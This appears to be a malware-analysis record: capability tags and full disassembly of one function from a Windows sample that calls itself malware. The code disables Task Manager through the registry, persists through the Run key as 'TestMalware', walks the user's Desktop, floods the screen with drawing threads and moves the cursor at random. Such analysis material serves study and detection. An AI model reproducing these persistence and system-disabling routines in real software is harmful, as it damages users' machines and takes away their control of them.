Function at 0x140003140
Capabilities:
Check for sandbox username or hostname
Disable system features via registry on windows
Get session user name
Log keystrokes via polling
Persist via run registry key
Set console window title
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x560]
sub rsp, 0x660
mov rax, qword [0x140028040]
xor rax, rsp
mov qword [rbp + 0x550], rax
xor r13d, r13d
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov qword [rbp - 0x80], rax
call qword [sym.imp.USER32.dll_GetDesktopWindow]
lea rdx, [rbp + 0x108]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rbp + 0x110]
mov dword [0x140028a94], eax
mov eax, dword [rbp + 0x114]
mov dword [0x140028a90], eax
lea r9d, [r13 + 0x31]
lea r8, str.ATTENTION
lea rdx, str.THIS_PROGRAM_IS_A_MALWARE._It_can_cause_serious_harms_to_this_computer._Make_sure_to_run_this_on_a_virtual_environment.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 1
jne 0x140003d14
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov dword [rbp + 0x90], 0x101
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x130]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
mov qword [rbp + 0xd8], r13
mov qword [rbp + 0xe0], r13
lea rax, [rbp + 0x130]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp word [rax + r8*2], r13w
jne 0x140003225
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xc8]
call fcn.140005770
nop
lea rcx, [rbp + 0xc8]
mov rax, qword [rbp + 0xd8]
cmp qword [rbp + 0xe0], 7
jbe 0x140003268
mov rdx, qword [rbp + 0xc8]
lea r8, [rdx + rax*2]
jmp 0x140003273
lea r8, [rcx + rax*2]
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0xe8]
call fcn.140005140
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r15, qword [rbp + 0xf8]
sub rax, r15
cmp rax, 9
jb 0x140003d1c
lea r12, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
seta byte [rsp + 0x51]
cmova r12, qword [rbp + 0xe8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
lea r14, [r15 + 9]
mov edi, 0xf
lea rbx, [rsp + 0x60]
cmp r14, rdi
jbe 0x14000335d
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x14000331e
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140007ea0
test rax, rax
je 0x140003d22
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140003358
mov eax, 0x16
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140003346
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003d06
jmp 0x1400032ff
test rcx, rcx
je 0x140003355
call fcn.140007ea0
mov rbx, rax
jmp 0x140003358
mov rbx, r13
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], rdi
movsd xmm0, qword [str.C:Users_]
movsd qword [rbx], xmm0
movzx eax, byte [0x140023d80]
mov byte [rbx + 8], al
lea rcx, [rbx + 9]
mov r8, r15
mov rdx, r12
call fcn.140019160
mov byte [rbx + r14], 0
mov r8d, 8
lea rdx, str.Desktop
lea rcx, [rsp + 0x60]
call fcn.140004b70
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
mov qword [rbp + 0xb8], 0
mov qword [rbp + 0xc0], 0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb8], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000342d
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003428
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d28
call fcn.140007edc
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov dword [rsp + 0x54], 0
call fcn.140003e60
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov dword [rbp + 0x94], 1
lea rax, [rbp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, 2
jne 0x1400034d4
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x30]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20206
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x94]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableTaskMgr
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r8d, 0x104
lea rdx, [rbp + 0x340]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rbp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003591
lea rcx, [rbp + 0x340]
mov rax, rsi
lea rax, [rax + 1]
cmp word [rcx + rax*2], 0
jne 0x140003555
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x340]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.TestMalware
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x60], xmm1
mov qword [rbp + 0x70], rax
lea rax, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0xf
cmova rax, qword [rbp + 0xa8]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0x88], rax
call fcn.140006f34
movaps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp - 0x70], xmm0
lea r8, [rbp - 0x70]
mov edx, eax
lea rcx, [rbp - 0x40]
call fcn.140001900
nop
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x40], xmm0
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x40]
call fcn.140004f30
test eax, eax
jne 0x140003d2e
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x140003653
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000364e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d41
call fcn.140007edc
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov rbx, qword [rbp + 0x48]
test rbx, rbx
je 0x14000366e
lock inc dword [rbx + 8]
mov rbx, qword [rbp + 0x48]
movaps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x80], xmm0
test rbx, rbx
je 0x140003687
lock inc dword [rbx + 8]
mov rbx, qword [rbp + 0x48]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x118], xmm1
test rbx, rbx
je 0x1400036ce
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1400036ca
mov rbx, qword [rbp + 0x48]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400036ca
mov rbx, qword [rbp + 0x48]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
jmp 0x1400036ce
mov rbx, qword [rbp + 0x48]
nop
mov rdi, qword [rbp + 0x80]
test rdi, rdi
je 0x1400037cf
mov r8d, 3
lea rdx, [rbp - 0x60]
mov rcx, rdi
call fcn.140002910
mov rax, qword [rbp - 0x60]
mov edx, dword [rbp - 0x58]
test edx, edx
je 0x14000370c
lea ecx, [rax - 1]
test ecx, 0xfffffff7
jne 0x140003d47
cmp eax, 3
sete byte [rsp + 0x50]
lea rcx, [rdi + 0x20]
cmp qword [rdi + 0x38], 7
jbe 0x140003723
mov rcx, qword [rdi + 0x20]
mov rax, qword [rdi + 0x30]
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rax
call fcn.140006f34
movaps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp + 0x10], xmm0
lea r8, [rbp + 0x10]
mov edx, eax
lea rcx, [rbp - 0x20]
call fcn.140004c70
nop
mov rdx, qword [rbp + 0x68]
lea rax, [rsp + 0x50]
lea r9, [rbp - 0x20]
mov qword [rsp + 0x20], rax
cmp rdx, qword [rbp + 0x70]
je 0x140003771
call fcn.140006bc0
add qword [rbp + 0x68], 0x10
jmp 0x14000377b
lea rcx, [rbp + 0x60]
call fcn.1400061b0
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x1400037b6
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d58
call fcn.140007edc
lea rcx, [rbp + 0x80]
call fcn.140002a70
test eax, eax
jne 0x140003d0c
jmp 0x1400036d0
mov rcx, qword [rbp + 0x88]
test rcx, rcx
je 0x140003813
mov eax, esi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x14000380f
mov rbx, qword [rbp + 0x88]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000380f
mov rcx, qword [rbp + 0x88]
mov rax, qword [rcx]
call qword [rax + 8]
mov rbx, qword [rbp + 0x48]
test rbx, rbx
je 0x140003844
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140003844
mov rbx, qword [rbp + 0x48]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], esi
cmp esi, 1
jne 0x140003844
mov rcx, qword [rbp + 0x48]
mov rax, qword [rcx]
call qword [rax + 8]
mov rbx, qword [rbp + 0x60]
mov rdi, qword [rbp + 0x68]
cmp rbx, rdi
je 0x140003892
cmp dword [rbx + 8], 0
je 0x140003d74
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rbx + 8], eax
je 0x140003d69
movups xmm0, xmmword [rbx]
movaps xmmword [rbp - 0x70], xmm0
xor edx, edx
lea rcx, [rbp - 0x70]
call fcn.140007ca4
test eax, eax
jne 0x140003d5e
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
add rbx, 0x10
cmp rbx, rdi
jne 0x140003851
xor eax, eax
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
mov qword [rbp + 0x50], rax
mov eax, 0x2aaaaaab
imul dword [0x140028a94]
mov r13d, edx
shr r13d, 0x1f
add r13d, edx
xor esi, esi
xor r14d, r14d
nop word [rax + rax]
mov dword [rsp + 0x5c], r14d
lea r15d, [r14 + r13]
mov dword [rsp + 0x58], r15d
call fcn.14000e9d4
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx ebx, r8b
shl ebx, 8
call fcn.14000e9d4
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx edi, r8b
shl edi, 0x10
or edi, ebx
call fcn.14000e9d4
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx r12d, r8b
or r12d, edi
mov dword [rbp + 0x98], r12d
mov rbx, qword [rbp + 0x48]
cmp rbx, qword [rbp + 0x50]
je 0x1400039ce
mov ecx, 0x20
call fcn.140007ea0
mov dword [rax], r15d
mov dword [rax + 4], r14d
mov dword [rax + 8], r12d
mov rcx, qword [rbp - 0x80]
mov qword [rax + 0x10], rcx
lea rcx, [0x140003de0]
mov qword [rax + 0x18], rcx
mov qword [rbp + 0x98], rax
lea rdi, [rbx + 8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140006de0]
xor edx, edx
xor ecx, ecx
call fcn.14000eb50
mov qword [rbx], rax
test rax, rax
je 0x140003d7f
add qword [rbp + 0x48], 0x10
jmp 0x1400039fe
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x98]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x80]
mov rdx, rbx
lea rcx, [rbp + 0x40]
call fcn.1400064a0
inc esi
mov r14d, r15d
cmp esi, 6
jl 0x1400038c0
mov rbx, qword [rbp + 0x40]
mov rdi, qword [rbp + 0x48]
cmp rbx, rdi
je 0x140003a61
nop dword [rax]
cmp dword [rbx + 8], 0
je 0x140003da6
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rbx + 8], eax
je 0x140003d9b
movups xmm0, xmmword [rbx]
movaps xmmword [rbp - 0x70], xmm0
xor edx, edx
lea rcx, [rbp - 0x70]
call fcn.140007ca4
test eax, eax
jne 0x140003d90
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
add rbx, 0x10
cmp rbx, rdi
jne 0x140003a20
mov r15d, dword [rsp + 0x54]
mov ecx, r15d
call fcn.1400040a0
call fcn.14000e9d4
cdq
idiv dword [0x140028a94]
mov ebx, edx
call fcn.14000e9d4
cdq
idiv dword [0x140028a90]
inc edx
lea ecx, [rbx + 1]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov ecx, 0x1b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x140003b11
inc r15d
mov dword [rsp + 0x54], r15d
mov rcx, qword [rbp + 0x40]
test rcx, rcx
je 0x140003892
mov rax, rcx
mov rdx, qword [rbp + 0x48]
cmp rcx, rdx
je 0x140003ad7
cmp dword [rax + 8], 0
jne 0x140003db7
add rax, 0x10
cmp rax, rdx
jne 0x140003ac4
mov rdx, qword [rbp + 0x50]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003db1
call fcn.140007edc
jmp 0x140003892
mov rcx, qword [rbp + 0x40]
test rcx, rcx
je 0x140003b7e
mov rax, rcx
mov rdx, qword [rbp + 0x48]
cmp rcx, rdx
je 0x140003b39
cmp dword [rax + 8], 0
jne 0x140003db7
add rax, 0x10
cmp rax, rdx
jne 0x140003b26
mov rdx, qword [rbp + 0x50]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003db1
call fcn.140007edc
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], 0
mov rcx, qword [rbp + 0x60]
test rcx, rcx
je 0x140003beb
mov rax, rcx
mov rdx, qword [rbp + 0x68]
cmp rcx, rdx
je 0x140003ba6
cmp dword [rax + 8], 0
jne 0x140003dc3
add rax, 0x10
cmp rax, rdx
jne 0x140003b93
mov rdx, qword [rbp + 0x70]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003bd6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003dbd
call fcn.140007edc
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x140003c2c
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003dc9
call fcn.140007edc
mov qword [rbp + 0xb8], 0
mov qword [rbp + 0xc0], 0xf
mov byte [rbp + 0xa8], 0
cmp byte [rsp + 0x51], 0
je 0x140003c8c
mov rdx, qword [rbp + 0x100]
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c86
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003dcf
call fcn.140007edc
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 7
jbe 0x140003cce
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003cc9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003d00
call fcn.140007edc
xor eax, eax
mov rcx, qword [rbp + 0x550]
xor rcx, rsp
call fcn.140007e80
lea r11, [rsp + 0x660]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14000f0e4
nop
call fcn.140001120
nop
mov edx, eax
call fcn.140002750
nop
xor ecx, ecx
call fcn.14000e9c8
nop
call fcn.1400011c0
int3
call fcn.14000f0e4
nop
call fcn.14000f0e4
nop
lea r8, [rbp - 0x40]
mov edx, eax
lea rcx, str.directory_iterator::directory_iterator
call fcn.140002840
nop
call fcn.14000f0e4
nop
lea r8, [rdi + 0x20]
lea rcx, str.directory_entry::status
call fcn.140002840
int3
call fcn.14000f0e4
nop
mov ecx, 2
call fcn.1400079b0
int3
mov ecx, 5
call fcn.1400079b0
int3
mov ecx, 1
call fcn.1400079b0
nop
mov dword [rdi], 0
mov ecx, 6
call fcn.1400079b0
nop
mov ecx, 2
call fcn.1400079b0
int3
mov ecx, 5
call fcn.1400079b0
int3
mov ecx, 1
call fcn.1400079b0
nop
call fcn.14000f0e4
int3
call fcn.14000ec38
nop
call fcn.14000f0e4
int3
call fcn.14000ec38
nop
call fcn.14000f0e4
nop
call fcn.14000f0e4
int3